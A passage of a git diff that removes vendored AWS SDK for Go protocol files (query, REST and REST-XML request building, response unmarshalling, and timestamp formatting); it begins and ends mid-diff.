- } - - io.Copy(w, req.GetBody()) - - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/build.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/query/build.go deleted file mode 100644 index 60e5b09d54..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/build.go +++ /dev/null @@ -1,36 +0,0 @@ -// Package query provides serialization of AWS query requests, and responses. -package query - -//go:generate go run -tags codegen ../../../models/protocol_tests/generate.go ../../../models/protocol_tests/input/query.json build_test.go - -import ( - "net/url" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol/query/queryutil" -) - -// BuildHandler is a named request handler for building query protocol requests -var BuildHandler = request.NamedHandler{Name: "awssdk.query.Build", Fn: Build} - -// Build builds a request for an AWS Query service. -func Build(r *request.Request) { - body := url.Values{ - "Action": {r.Operation.Name}, - "Version": {r.ClientInfo.APIVersion}, - } - if err := queryutil.Parse(body, r.Params, false); err != nil { - r.Error = awserr.New("SerializationError", "failed encoding Query request", err) - return - } - - if !r.IsPresigned() { - r.HTTPRequest.Method = "POST" - r.HTTPRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=utf-8") - r.SetBufferBody([]byte(body.Encode())) - } else { // This is a pre-signed request - r.HTTPRequest.Method = "GET" - r.HTTPRequest.URL.RawQuery = body.Encode() - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/queryutil/queryutil.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/query/queryutil/queryutil.go deleted file mode 100644 index 75866d0121..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/queryutil/queryutil.go +++ /dev/null @@ -1,246 +0,0 @@ -package queryutil - -import ( - "encoding/base64" - "fmt" - "net/url" - "reflect" - "sort" - "strconv" - "strings" - "time" - - "github.com/aws/aws-sdk-go/private/protocol" -) - -// Parse parses an object i and fills a url.Values object. The isEC2 flag -// indicates if this is the EC2 Query sub-protocol. -func Parse(body url.Values, i interface{}, isEC2 bool) error { - q := queryParser{isEC2: isEC2} - return q.parseValue(body, reflect.ValueOf(i), "", "") -} - -func elemOf(value reflect.Value) reflect.Value { - for value.Kind() == reflect.Ptr { - value = value.Elem() - } - return value -} - -type queryParser struct { - isEC2 bool -} - -func (q *queryParser) parseValue(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { - value = elemOf(value) - - // no need to handle zero values - if !value.IsValid() { - return nil - } - - t := tag.Get("type") - if t == "" { - switch value.Kind() { - case reflect.Struct: - t = "structure" - case reflect.Slice: - t = "list" - case reflect.Map: - t = "map" - } - } - - switch t { - case "structure": - return q.parseStruct(v, value, prefix) - case "list": - return q.parseList(v, value, prefix, tag) - case "map": - return q.parseMap(v, value, prefix, tag) - default: - return q.parseScalar(v, value, prefix, tag) - } -} - -func (q *queryParser) parseStruct(v url.Values, value reflect.Value, prefix string) error { - if !value.IsValid() { - return nil - } - - t := value.Type() - for i := 0; i < value.NumField(); i++ { - elemValue := elemOf(value.Field(i)) - field := t.Field(i) - - if field.PkgPath != "" { - continue // ignore unexported fields - } - if field.Tag.Get("ignore") != "" { - continue - } - - if protocol.CanSetIdempotencyToken(value.Field(i), field) { - token := protocol.GetIdempotencyToken() - elemValue = reflect.ValueOf(token) - } - - var name string - if q.isEC2 { - name = field.Tag.Get("queryName") - } - if name == "" { - if field.Tag.Get("flattened") != "" && field.Tag.Get("locationNameList") != "" { - name = field.Tag.Get("locationNameList") - } else if locName := field.Tag.Get("locationName"); locName != "" { - name = locName - } - if name != "" && q.isEC2 { - name = strings.ToUpper(name[0:1]) + name[1:] - } - } - if name == "" { - name = field.Name - } - - if prefix != "" { - name = prefix + "." + name - } - - if err := q.parseValue(v, elemValue, name, field.Tag); err != nil { - return err - } - } - return nil -} - -func (q *queryParser) parseList(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { - // If it's empty, generate an empty value - if !value.IsNil() && value.Len() == 0 { - v.Set(prefix, "") - return nil - } - - if _, ok := value.Interface().([]byte); ok { - return q.parseScalar(v, value, prefix, tag) - } - - // check for unflattened list member - if !q.isEC2 && tag.Get("flattened") == "" { - if listName := tag.Get("locationNameList"); listName == "" { - prefix += ".member" - } else { - prefix += "." + listName - } - } - - for i := 0; i < value.Len(); i++ { - slicePrefix := prefix - if slicePrefix == "" { - slicePrefix = strconv.Itoa(i + 1) - } else { - slicePrefix = slicePrefix + "." + strconv.Itoa(i+1) - } - if err := q.parseValue(v, value.Index(i), slicePrefix, ""); err != nil { - return err - } - } - return nil -} - -func (q *queryParser) parseMap(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { - // If it's empty, generate an empty value - if !value.IsNil() && value.Len() == 0 { - v.Set(prefix, "") - return nil - } - - // check for unflattened list member - if !q.isEC2 && tag.Get("flattened") == "" { - prefix += ".entry" - } - - // sort keys for improved serialization consistency. - // this is not strictly necessary for protocol support. - mapKeyValues := value.MapKeys() - mapKeys := map[string]reflect.Value{} - mapKeyNames := make([]string, len(mapKeyValues)) - for i, mapKey := range mapKeyValues { - name := mapKey.String() - mapKeys[name] = mapKey - mapKeyNames[i] = name - } - sort.Strings(mapKeyNames) - - for i, mapKeyName := range mapKeyNames { - mapKey := mapKeys[mapKeyName] - mapValue := value.MapIndex(mapKey) - - kname := tag.Get("locationNameKey") - if kname == "" { - kname = "key" - } - vname := tag.Get("locationNameValue") - if vname == "" { - vname = "value" - } - - // serialize key - var keyName string - if prefix == "" { - keyName = strconv.Itoa(i+1) + "." + kname - } else { - keyName = prefix + "." + strconv.Itoa(i+1) + "." + kname - } - - if err := q.parseValue(v, mapKey, keyName, ""); err != nil { - return err - } - - // serialize value - var valueName string - if prefix == "" { - valueName = strconv.Itoa(i+1) + "." + vname - } else { - valueName = prefix + "." + strconv.Itoa(i+1) + "." + vname - } - - if err := q.parseValue(v, mapValue, valueName, ""); err != nil { - return err - } - } - - return nil -} - -func (q *queryParser) parseScalar(v url.Values, r reflect.Value, name string, tag reflect.StructTag) error { - switch value := r.Interface().(type) { - case string: - v.Set(name, value) - case []byte: - if !r.IsNil() { - v.Set(name, base64.StdEncoding.EncodeToString(value)) - } - case bool: - v.Set(name, strconv.FormatBool(value)) - case int64: - v.Set(name, strconv.FormatInt(value, 10)) - case int: - v.Set(name, strconv.Itoa(value)) - case float64: - v.Set(name, strconv.FormatFloat(value, 'f', -1, 64)) - case float32: - v.Set(name, strconv.FormatFloat(float64(value), 'f', -1, 32)) - case time.Time: - const ISO8601UTC = "2006-01-02T15:04:05Z" - format := tag.Get("timestampFormat") - if len(format) == 0 { - format = protocol.ISO8601TimeFormatName - } - - v.Set(name, protocol.FormatTime(format, value)) - default: - return fmt.Errorf("unsupported value for param %s: %v (%s)", name, r.Interface(), r.Type().Name()) - } - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal.go deleted file mode 100644 index 3495c73070..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal.go +++ /dev/null @@ -1,39 +0,0 @@ -package query - -//go:generate go run -tags codegen ../../../models/protocol_tests/generate.go ../../../models/protocol_tests/output/query.json unmarshal_test.go - -import ( - "encoding/xml" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil" -) - -// UnmarshalHandler is a named request handler for unmarshaling query protocol requests -var UnmarshalHandler = request.NamedHandler{Name: "awssdk.query.Unmarshal", Fn: Unmarshal} - -// UnmarshalMetaHandler is a named request handler for unmarshaling query protocol request metadata -var UnmarshalMetaHandler = request.NamedHandler{Name: "awssdk.query.UnmarshalMeta", Fn: UnmarshalMeta} - -// Unmarshal unmarshals a response for an AWS Query service. -func Unmarshal(r *request.Request) { - defer r.HTTPResponse.Body.Close() - if r.DataFilled() { - decoder := xml.NewDecoder(r.HTTPResponse.Body) - err := xmlutil.UnmarshalXML(r.Data, decoder, r.Operation.Name+"Result") - if err != nil { - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", "failed decoding Query response", err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - } -} - -// UnmarshalMeta unmarshals header response values for an AWS Query service. -func UnmarshalMeta(r *request.Request) { - r.RequestID = r.HTTPResponse.Header.Get("X-Amzn-Requestid") -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal_error.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal_error.go deleted file mode 100644 index 46d354e826..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/query/unmarshal_error.go +++ /dev/null @@ -1,74 +0,0 @@ -package query - -import ( - "encoding/xml" - "io/ioutil" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -type xmlErrorResponse struct { - XMLName xml.Name `xml:"ErrorResponse"` - Code string `xml:"Error>Code"` - Message string `xml:"Error>Message"` - RequestID string `xml:"RequestId"` -} - -type xmlServiceUnavailableResponse struct { - XMLName xml.Name `xml:"ServiceUnavailableException"` -} - -// UnmarshalErrorHandler is a name request handler to unmarshal request errors -var UnmarshalErrorHandler = request.NamedHandler{Name: "awssdk.query.UnmarshalError", Fn: UnmarshalError} - -// UnmarshalError unmarshals an error response for an AWS Query service. -func UnmarshalError(r *request.Request) { - defer r.HTTPResponse.Body.Close() - - bodyBytes, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", "failed to read from query HTTP response body", err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - - // First check for specific error - resp := xmlErrorResponse{} - decodeErr := xml.Unmarshal(bodyBytes, &resp) - if decodeErr == nil { - reqID := resp.RequestID - if reqID == "" { - reqID = r.RequestID - } - r.Error = awserr.NewRequestFailure( - awserr.New(resp.Code, resp.Message, nil), - r.HTTPResponse.StatusCode, - reqID, - ) - return - } - - // Check for unhandled error - servUnavailResp := xmlServiceUnavailableResponse{} - unavailErr := xml.Unmarshal(bodyBytes, &servUnavailResp) - if unavailErr == nil { - r.Error = awserr.NewRequestFailure( - awserr.New("ServiceUnavailableException", "service is unavailable", nil), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - - // Failed to retrieve any error message from the response body - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", - "failed to decode query XML error response", decodeErr), - r.HTTPResponse.StatusCode, - r.RequestID, - ) -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/build.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/build.go deleted file mode 100644 index b80f84fbb8..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/build.go +++ /dev/null @@ -1,300 +0,0 @@ -// Package rest provides RESTful serialization of AWS requests and responses. -package rest - -import ( - "bytes" - "encoding/base64" - "fmt" - "io" - "net/http" - "net/url" - "path" - "reflect" - "strconv" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol" -) - -// Whether the byte value can be sent without escaping in AWS URLs -var noEscape [256]bool - -var errValueNotSet = fmt.Errorf("value not set") - -func init() { - for i := 0; i < len(noEscape); i++ { - // AWS expects every character except these to be escaped - noEscape[i] = (i >= 'A' && i <= 'Z') || - (i >= 'a' && i <= 'z') || - (i >= '0' && i <= '9') || - i == '-' || - i == '.' || - i == '_' || - i == '~' - } -} - -// BuildHandler is a named request handler for building rest protocol requests -var BuildHandler = request.NamedHandler{Name: "awssdk.rest.Build", Fn: Build} - -// Build builds the REST component of a service request. -func Build(r *request.Request) { - if r.ParamsFilled() { - v := reflect.ValueOf(r.Params).Elem() - buildLocationElements(r, v, false) - buildBody(r, v) - } -} - -// BuildAsGET builds the REST component of a service request with the ability to hoist -// data from the body. -func BuildAsGET(r *request.Request) { - if r.ParamsFilled() { - v := reflect.ValueOf(r.Params).Elem() - buildLocationElements(r, v, true) - buildBody(r, v) - } -} - -func buildLocationElements(r *request.Request, v reflect.Value, buildGETQuery bool) { - query := r.HTTPRequest.URL.Query() - - // Setup the raw path to match the base path pattern. This is needed - // so that when the path is mutated a custom escaped version can be - // stored in RawPath that will be used by the Go client. - r.HTTPRequest.URL.RawPath = r.HTTPRequest.URL.Path - - for i := 0; i < v.NumField(); i++ { - m := v.Field(i) - if n := v.Type().Field(i).Name; n[0:1] == strings.ToLower(n[0:1]) { - continue - } - - if m.IsValid() { - field := v.Type().Field(i) - name := field.Tag.Get("locationName") - if name == "" { - name = field.Name - } - if kind := m.Kind(); kind == reflect.Ptr { - m = m.Elem() - } else if kind == reflect.Interface { - if !m.Elem().IsValid() { - continue - } - } - if !m.IsValid() { - continue - } - if field.Tag.Get("ignore") != "" { - continue - } - - var err error - switch field.Tag.Get("location") { - case "headers": // header maps - err = buildHeaderMap(&r.HTTPRequest.Header, m, field.Tag) - case "header": - err = buildHeader(&r.HTTPRequest.Header, m, name, field.Tag) - case "uri": - err = buildURI(r.HTTPRequest.URL, m, name, field.Tag) - case "querystring": - err = buildQueryString(query, m, name, field.Tag) - default: - if buildGETQuery { - err = buildQueryString(query, m, name, field.Tag) - } - } - r.Error = err - } - if r.Error != nil { - return - } - } - - r.HTTPRequest.URL.RawQuery = query.Encode() - if !aws.BoolValue(r.Config.DisableRestProtocolURICleaning) { - cleanPath(r.HTTPRequest.URL) - } -} - -func buildBody(r *request.Request, v reflect.Value) { - if field, ok := v.Type().FieldByName("_"); ok { - if payloadName := field.Tag.Get("payload"); payloadName != "" { - pfield, _ := v.Type().FieldByName(payloadName) - if ptag := pfield.Tag.Get("type"); ptag != "" && ptag != "structure" { - payload := reflect.Indirect(v.FieldByName(payloadName)) - if payload.IsValid() && payload.Interface() != nil { - switch reader := payload.Interface().(type) { - case io.ReadSeeker: - r.SetReaderBody(reader) - case []byte: - r.SetBufferBody(reader) - case string: - r.SetStringBody(reader) - default: - r.Error = awserr.New("SerializationError", - "failed to encode REST request", - fmt.Errorf("unknown payload type %s", payload.Type())) - } - } - } - } - } -} - -func buildHeader(header *http.Header, v reflect.Value, name string, tag reflect.StructTag) error { - str, err := convertType(v, tag) - if err == errValueNotSet { - return nil - } else if err != nil { - return awserr.New("SerializationError", "failed to encode REST request", err) - } - - name = strings.TrimSpace(name) - str = strings.TrimSpace(str) - - header.Add(name, str) - - return nil -} - -func buildHeaderMap(header *http.Header, v reflect.Value, tag reflect.StructTag) error { - prefix := tag.Get("locationName") - for _, key := range v.MapKeys() { - str, err := convertType(v.MapIndex(key), tag) - if err == errValueNotSet { - continue - } else if err != nil { - return awserr.New("SerializationError", "failed to encode REST request", err) - - } - keyStr := strings.TrimSpace(key.String()) - str = strings.TrimSpace(str) - - header.Add(prefix+keyStr, str) - } - return nil -} - -func buildURI(u *url.URL, v reflect.Value, name string, tag reflect.StructTag) error { - value, err := convertType(v, tag) - if err == errValueNotSet { - return nil - } else if err != nil { - return awserr.New("SerializationError", "failed to encode REST request", err) - } - - u.Path = strings.Replace(u.Path, "{"+name+"}", value, -1) - u.Path = strings.Replace(u.Path, "{"+name+"+}", value, -1) - - u.RawPath = strings.Replace(u.RawPath, "{"+name+"}", EscapePath(value, true), -1) - u.RawPath = strings.Replace(u.RawPath, "{"+name+"+}", EscapePath(value, false), -1) - - return nil -} - -func buildQueryString(query url.Values, v reflect.Value, name string, tag reflect.StructTag) error { - switch value := v.Interface().(type) { - case []*string: - for _, item := range value { - query.Add(name, *item) - } - case map[string]*string: - for key, item := range value { - query.Add(key, *item) - } - case map[string][]*string: - for key, items := range value { - for _, item := range items { - query.Add(key, *item) - } - } - default: - str, err := convertType(v, tag) - if err == errValueNotSet { - return nil - } else if err != nil { - return awserr.New("SerializationError", "failed to encode REST request", err) - } - query.Set(name, str) - } - - return nil -} - -func cleanPath(u *url.URL) { - hasSlash := strings.HasSuffix(u.Path, "/") - - // clean up path, removing duplicate `/` - u.Path = path.Clean(u.Path) - u.RawPath = path.Clean(u.RawPath) - - if hasSlash && !strings.HasSuffix(u.Path, "/") { - u.Path += "/" - u.RawPath += "/" - } -} - -// EscapePath escapes part of a URL path in Amazon style -func EscapePath(path string, encodeSep bool) string { - var buf bytes.Buffer - for i := 0; i < len(path); i++ { - c := path[i] - if noEscape[c] || (c == '/' && !encodeSep) { - buf.WriteByte(c) - } else { - fmt.Fprintf(&buf, "%%%02X", c) - } - } - return buf.String() -} - -func convertType(v reflect.Value, tag reflect.StructTag) (str string, err error) { - v = reflect.Indirect(v) - if !v.IsValid() { - return "", errValueNotSet - } - - switch value := v.Interface().(type) { - case string: - str = value - case []byte: - str = base64.StdEncoding.EncodeToString(value) - case bool: - str = strconv.FormatBool(value) - case int64: - str = strconv.FormatInt(value, 10) - case float64: - str = strconv.FormatFloat(value, 'f', -1, 64) - case time.Time: - format := tag.Get("timestampFormat") - if len(format) == 0 { - format = protocol.RFC822TimeFormatName - if tag.Get("location") == "querystring" { - format = protocol.ISO8601TimeFormatName - } - } - str = protocol.FormatTime(format, value) - case aws.JSONValue: - if len(value) == 0 { - return "", errValueNotSet - } - escaping := protocol.NoEscape - if tag.Get("location") == "header" { - escaping = protocol.Base64Escape - } - str, err = protocol.EncodeJSONValue(value, escaping) - if err != nil { - return "", fmt.Errorf("unable to encode JSONValue, %v", err) - } - default: - err := fmt.Errorf("unsupported value for param %v (%s)", v.Interface(), v.Type()) - return "", err - } - return str, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/payload.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/payload.go deleted file mode 100644 index 4366de2e1e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/payload.go +++ /dev/null @@ -1,45 +0,0 @@ -package rest - -import "reflect" - -// PayloadMember returns the payload field member of i if there is one, or nil. -func PayloadMember(i interface{}) interface{} { - if i == nil { - return nil - } - - v := reflect.ValueOf(i).Elem() - if !v.IsValid() { - return nil - } - if field, ok := v.Type().FieldByName("_"); ok { - if payloadName := field.Tag.Get("payload"); payloadName != "" { - field, _ := v.Type().FieldByName(payloadName) - if field.Tag.Get("type") != "structure" { - return nil - } - - payload := v.FieldByName(payloadName) - if payload.IsValid() || (payload.Kind() == reflect.Ptr && !payload.IsNil()) { - return payload.Interface() - } - } - } - return nil -} - -// PayloadType returns the type of a payload field member of i if there is one, or "". -func PayloadType(i interface{}) string { - v := reflect.Indirect(reflect.ValueOf(i)) - if !v.IsValid() { - return "" - } - if field, ok := v.Type().FieldByName("_"); ok { - if payloadName := field.Tag.Get("payload"); payloadName != "" { - if member, ok := v.Type().FieldByName(payloadName); ok { - return member.Tag.Get("type") - } - } - } - return "" -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/unmarshal.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/unmarshal.go deleted file mode 100644 index 33fd53b126..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/rest/unmarshal.go +++ /dev/null @@ -1,225 +0,0 @@ -package rest - -import ( - "bytes" - "encoding/base64" - "fmt" - "io" - "io/ioutil" - "net/http" - "reflect" - "strconv" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol" -) - -// UnmarshalHandler is a named request handler for unmarshaling rest protocol requests -var UnmarshalHandler = request.NamedHandler{Name: "awssdk.rest.Unmarshal", Fn: Unmarshal} - -// UnmarshalMetaHandler is a named request handler for unmarshaling rest protocol request metadata -var UnmarshalMetaHandler = request.NamedHandler{Name: "awssdk.rest.UnmarshalMeta", Fn: UnmarshalMeta} - -// Unmarshal unmarshals the REST component of a response in a REST service. -func Unmarshal(r *request.Request) { - if r.DataFilled() { - v := reflect.Indirect(reflect.ValueOf(r.Data)) - unmarshalBody(r, v) - } -} - -// UnmarshalMeta unmarshals the REST metadata of a response in a REST service -func UnmarshalMeta(r *request.Request) { - r.RequestID = r.HTTPResponse.Header.Get("X-Amzn-Requestid") - if r.RequestID == "" { - // Alternative version of request id in the header - r.RequestID = r.HTTPResponse.Header.Get("X-Amz-Request-Id") - } - if r.DataFilled() { - v := reflect.Indirect(reflect.ValueOf(r.Data)) - unmarshalLocationElements(r, v) - } -} - -func unmarshalBody(r *request.Request, v reflect.Value) { - if field, ok := v.Type().FieldByName("_"); ok { - if payloadName := field.Tag.Get("payload"); payloadName != "" { - pfield, _ := v.Type().FieldByName(payloadName) - if ptag := pfield.Tag.Get("type"); ptag != "" && ptag != "structure" { - payload := v.FieldByName(payloadName) - if payload.IsValid() { - switch payload.Interface().(type) { - case []byte: - defer r.HTTPResponse.Body.Close() - b, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.New("SerializationError", "failed to decode REST response", err) - } else { - payload.Set(reflect.ValueOf(b)) - } - case *string: - defer r.HTTPResponse.Body.Close() - b, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.New("SerializationError", "failed to decode REST response", err) - } else { - str := string(b) - payload.Set(reflect.ValueOf(&str)) - } - default: - switch payload.Type().String() { - case "io.ReadCloser": - payload.Set(reflect.ValueOf(r.HTTPResponse.Body)) - case "io.ReadSeeker": - b, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.New("SerializationError", - "failed to read response body", err) - return - } - payload.Set(reflect.ValueOf(ioutil.NopCloser(bytes.NewReader(b)))) - default: - io.Copy(ioutil.Discard, r.HTTPResponse.Body) - defer r.HTTPResponse.Body.Close() - r.Error = awserr.New("SerializationError", - "failed to decode REST response", - fmt.Errorf("unknown payload type %s", payload.Type())) - } - } - } - } - } - } -} - -func unmarshalLocationElements(r *request.Request, v reflect.Value) { - for i := 0; i < v.NumField(); i++ { - m, field := v.Field(i), v.Type().Field(i) - if n := field.Name; n[0:1] == strings.ToLower(n[0:1]) { - continue - } - - if m.IsValid() { - name := field.Tag.Get("locationName") - if name == "" { - name = field.Name - } - - switch field.Tag.Get("location") { - case "statusCode": - unmarshalStatusCode(m, r.HTTPResponse.StatusCode) - case "header": - err := unmarshalHeader(m, r.HTTPResponse.Header.Get(name), field.Tag) - if err != nil { - r.Error = awserr.New("SerializationError", "failed to decode REST response", err) - break - } - case "headers": - prefix := field.Tag.Get("locationName") - err := unmarshalHeaderMap(m, r.HTTPResponse.Header, prefix) - if err != nil { - r.Error = awserr.New("SerializationError", "failed to decode REST response", err) - break - } - } - } - if r.Error != nil { - return - } - } -} - -func unmarshalStatusCode(v reflect.Value, statusCode int) { - if !v.IsValid() { - return - } - - switch v.Interface().(type) { - case *int64: - s := int64(statusCode) - v.Set(reflect.ValueOf(&s)) - } -} - -func unmarshalHeaderMap(r reflect.Value, headers http.Header, prefix string) error { - switch r.Interface().(type) { - case map[string]*string: // we only support string map value types - out := map[string]*string{} - for k, v := range headers { - k = http.CanonicalHeaderKey(k) - if strings.HasPrefix(strings.ToLower(k), strings.ToLower(prefix)) { - out[k[len(prefix):]] = &v[0] - } - } - r.Set(reflect.ValueOf(out)) - } - return nil -} - -func unmarshalHeader(v reflect.Value, header string, tag reflect.StructTag) error { - isJSONValue := tag.Get("type") == "jsonvalue" - if isJSONValue { - if len(header) == 0 { - return nil - } - } else if !v.IsValid() || (header == "" && v.Elem().Kind() != reflect.String) { - return nil - } - - switch v.Interface().(type) { - case *string: - v.Set(reflect.ValueOf(&header)) - case []byte: - b, err := base64.StdEncoding.DecodeString(header) - if err != nil { - return err - } - v.Set(reflect.ValueOf(&b)) - case *bool: - b, err := strconv.ParseBool(header) - if err != nil { - return err - } - v.Set(reflect.ValueOf(&b)) - case *int64: - i, err := strconv.ParseInt(header, 10, 64) - if err != nil { - return err - } - v.Set(reflect.ValueOf(&i)) - case *float64: - f, err := strconv.ParseFloat(header, 64) - if err != nil { - return err - } - v.Set(reflect.ValueOf(&f)) - case *time.Time: - format := tag.Get("timestampFormat") - if len(format) == 0 { - format = protocol.RFC822TimeFormatName - } - t, err := protocol.ParseTime(format, header) - if err != nil { - return err - } - v.Set(reflect.ValueOf(&t)) - case aws.JSONValue: - escaping := protocol.NoEscape - if tag.Get("location") == "header" { - escaping = protocol.Base64Escape - } - m, err := protocol.DecodeJSONValue(header, escaping) - if err != nil { - return err - } - v.Set(reflect.ValueOf(m)) - default: - err := fmt.Errorf("Unsupported value for param %v (%s)", v.Interface(), v.Type()) - return err - } - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/restxml/restxml.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/restxml/restxml.go deleted file mode 100644 index b0f4e24566..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/restxml/restxml.go +++ /dev/null @@ -1,77 +0,0 @@ -// Package restxml provides RESTful XML serialization of AWS -// requests and responses. -package restxml - -//go:generate go run -tags codegen ../../../models/protocol_tests/generate.go ../../../models/protocol_tests/input/rest-xml.json build_test.go -//go:generate go run -tags codegen ../../../models/protocol_tests/generate.go ../../../models/protocol_tests/output/rest-xml.json unmarshal_test.go - -import ( - "bytes" - "encoding/xml" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol/query" - "github.com/aws/aws-sdk-go/private/protocol/rest" - "github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil" -) - -// BuildHandler is a named request handler for building restxml protocol requests -var BuildHandler = request.NamedHandler{Name: "awssdk.restxml.Build", Fn: Build} - -// UnmarshalHandler is a named request handler for unmarshaling restxml protocol requests -var UnmarshalHandler = request.NamedHandler{Name: "awssdk.restxml.Unmarshal", Fn: Unmarshal} - -// UnmarshalMetaHandler is a named request handler for unmarshaling restxml protocol request metadata -var UnmarshalMetaHandler = request.NamedHandler{Name: "awssdk.restxml.UnmarshalMeta", Fn: UnmarshalMeta} - -// UnmarshalErrorHandler is a named request handler for unmarshaling restxml protocol request errors -var UnmarshalErrorHandler = request.NamedHandler{Name: "awssdk.restxml.UnmarshalError", Fn: UnmarshalError} - -// Build builds a request payload for the REST XML protocol. -func Build(r *request.Request) { - rest.Build(r) - - if t := rest.PayloadType(r.Params); t == "structure" || t == "" { - var buf bytes.Buffer - err := xmlutil.BuildXML(r.Params, xml.NewEncoder(&buf)) - if err != nil { - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", "failed to encode rest XML request", err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - r.SetBufferBody(buf.Bytes()) - } -} - -// Unmarshal unmarshals a payload response for the REST XML protocol. -func Unmarshal(r *request.Request) { - if t := rest.PayloadType(r.Data); t == "structure" || t == "" { - defer r.HTTPResponse.Body.Close() - decoder := xml.NewDecoder(r.HTTPResponse.Body) - err := xmlutil.UnmarshalXML(r.Data, decoder, "") - if err != nil { - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", "failed to decode REST XML response", err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - } else { - rest.Unmarshal(r) - } -} - -// UnmarshalMeta unmarshals response headers for the REST XML protocol. -func UnmarshalMeta(r *request.Request) { - rest.UnmarshalMeta(r) -} - -// UnmarshalError unmarshals a response error for the REST XML protocol. -func UnmarshalError(r *request.Request) { - query.UnmarshalError(r) -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/timestamp.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/timestamp.go deleted file mode 100644 index b7ed6c6f81..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/timestamp.go +++ /dev/null @@ -1,72 +0,0 @@ -package protocol - -import ( - "strconv" - "time" -) - -// Names of time formats supported by the SDK -const ( - RFC822TimeFormatName = "rfc822" - ISO8601TimeFormatName = "iso8601" - UnixTimeFormatName = "unixTimestamp" -) - -// Time formats supported by the SDK -const ( - // RFC 7231#section-7.1.1.1 timetamp format. e.g Tue, 29 Apr 2014 18:30:38 GMT - RFC822TimeFormat = "Mon, 2 Jan 2006 15:04:05 GMT" - - // RFC3339 a subset of the ISO8601 timestamp format. e.g 2014-04-29T18:30:38Z - ISO8601TimeFormat = "2006-01-02T15:04:05Z" -) - -// IsKnownTimestampFormat returns if the timestamp format name -// is know to the SDK's protocols. -func IsKnownTimestampFormat(name string) bool { - switch name { - case RFC822TimeFormatName: - fallthrough - case ISO8601TimeFormatName: - fallthrough - case UnixTimeFormatName: - return true - default: - return false - } -} - -// FormatTime returns a string value of the time. -func FormatTime(name string, t time.Time) string { - t = t.UTC() - - switch name { - case RFC822TimeFormatName: - return t.Format(RFC822TimeFormat) - case ISO8601TimeFormatName: - return t.Format(ISO8601TimeFormat) - case UnixTimeFormatName: - return strconv.FormatInt(t.Unix(), 10) - default: - panic("unknown timestamp format name, " + name) - } -} - -// ParseTime attempts to parse the time given the format. Returns -// the time if it was able to be parsed, and fails otherwise. -func ParseTime(formatName, value string) (time.Time, error) { - switch formatName { - case RFC822TimeFormatName: - return time.Parse(RFC822TimeFormat, value) - case ISO8601TimeFormatName: - return time.Parse(ISO8601TimeFormat, value) - case UnixTimeFormatName: - v, err := strconv.ParseFloat(value, 64) - if err != nil { - return time.Time{}, err - } - return time.Unix(int64(v), 0), nil - default: - panic("unknown timestamp format name, " + formatName) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/unmarshal.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/unmarshal.go deleted file mode 